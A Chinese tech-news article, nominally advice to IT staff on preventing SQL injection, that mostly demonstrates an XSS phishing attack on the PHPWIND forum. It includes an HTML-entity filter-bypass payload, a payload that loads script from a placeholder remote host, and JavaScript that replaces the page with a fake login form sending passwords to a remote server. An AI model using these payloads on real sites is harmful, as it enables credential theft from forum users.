当前位置:主页>科 研>学术交流>

对预防SQL注入的几点建议

从2011年底的泄密门,到2012新年才刚刚过去的短短一个月时间里发生的所有和网络安全相关的热门事件,黑客带给了我们太多的震撼。当你打开百度新闻搜索“黑客”关键字时能看到什么?没错,有太多知名的网站被黑客攻破,有太多牛X的IT系统对黑客来说如入无人之境……

进入WEB2.0时代,我们的IT当真变得如此脆弱了吗?记得在一次有关安全的研讨会上,有专家谈到了这样的观点:互联网在设计之初,也没能预想到互联网会发展成现在的庞大规模,如果互联网依然只应用于教育网、科研网,就不会有这么多的问题,难道我们真得需要在重新织一张网?虽然这只是一种假设,也可能是未来创新的一个星星之火,但在现阶段,还是让我们收回思想的翅膀,来解决实际中的问题吧!

网站安全在经历了2011年底的泄密门之后,得到了各方面的重视,互联网企业开始重新审视自身的安全性、安全厂商开始更多的关注这方面的问题并推出了相应的解决方案、政府也在从法律法规方面对网站安全进行了相关的规定(未证实消息:中国的萨班斯法案在今年也将出台)。

近日,小编从国内知名的漏洞报告平台WooYun.org上得到了以下几张图,图中标注的是各企业网站所存在的漏洞类型和造成系统漏洞的主要原因:

写给IT运维人员的几点建议

▲点击图片查看大图

从上图我们可以不难找出企业网站存在安全风险的几个同共点:XSS跨站脚本攻击、SQL注入漏洞、后台弱口令、系统/服务运维配置不当以及系统/服务补丁不及时……下面我们就从这主要的几点开始和大家一起探讨:

1、 XSS跨站脚本攻击

上图所列出的互联网企业有门户网站、行业网站、视频网站、旅游网站等,从不同类型的网站我们可以看出,XSS跨站脚本攻击是黑客使用最普遍的攻击方式,这里我们为大家整理了XSS跨站脚本攻击的原理,希望能对大家有帮助。

小白一下:XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示,PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本。

先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一

XSS跨站脚本攻击

发帖成功后我们会发现,帖子附件名已经没有了,如图二

XSS跨站脚本攻击

我们查看当前页面的源代码会发现已经写到页面内,如图三

XSS跨站脚本攻击

    当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如转换成

\<TABLE BACKGROUND=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>

这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:

\<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面。

首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:

\function Phish(){
\info
= "我是来钓鱼的!"
\document.write(info);
\}
\
function doit(){
\setTimeout(
"Phish()", 1000 );
\}doit()

如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”

XSS跨站脚本攻击

想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五

XSS跨站脚本攻击

嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六

XSS跨站脚本攻击

    然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:

XSS跨站脚本攻击

(责任编辑:)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

容器是如何让“一切都是代码”成为现实的

容器是如何让“一切都是代码”成为现实的

现代应用的发展在很大程度上要归功于DevOps运动的蓬勃兴起以及该运动所产生的各种自动...[详细]

如何快速掌握一门新技术/语言/框架

如何快速掌握一门新技术/语言/框架

IT行业中的企业特点是都属于知识密集型企业。这种企业的核心竞争力与员工的知识和技能...[详细]

建高效数据中心有径可循

建高效数据中心有径可循

能耗问题一直是各大数据中心的心头之痛。有数据表明,2015年我国数据中心能耗预计将高...[详细]

2015黑帽大会:网络灾难后 重建IT安全

2015黑帽大会:网络灾难后 重建IT安全

在遭遇网络灾难后重建IT安全似乎是不可能完成的任务,但根据安全专家Christina Kubeck...[详细]

面对DNS劫持 企业移动应用该如何防护?

面对DNS劫持 企业移动应用该如何防护?

DNS(Domain Name System)劫持又称域名劫持,是指对正常的域名解析请求加以拦截,转而...[详细]

返回首页 返回顶部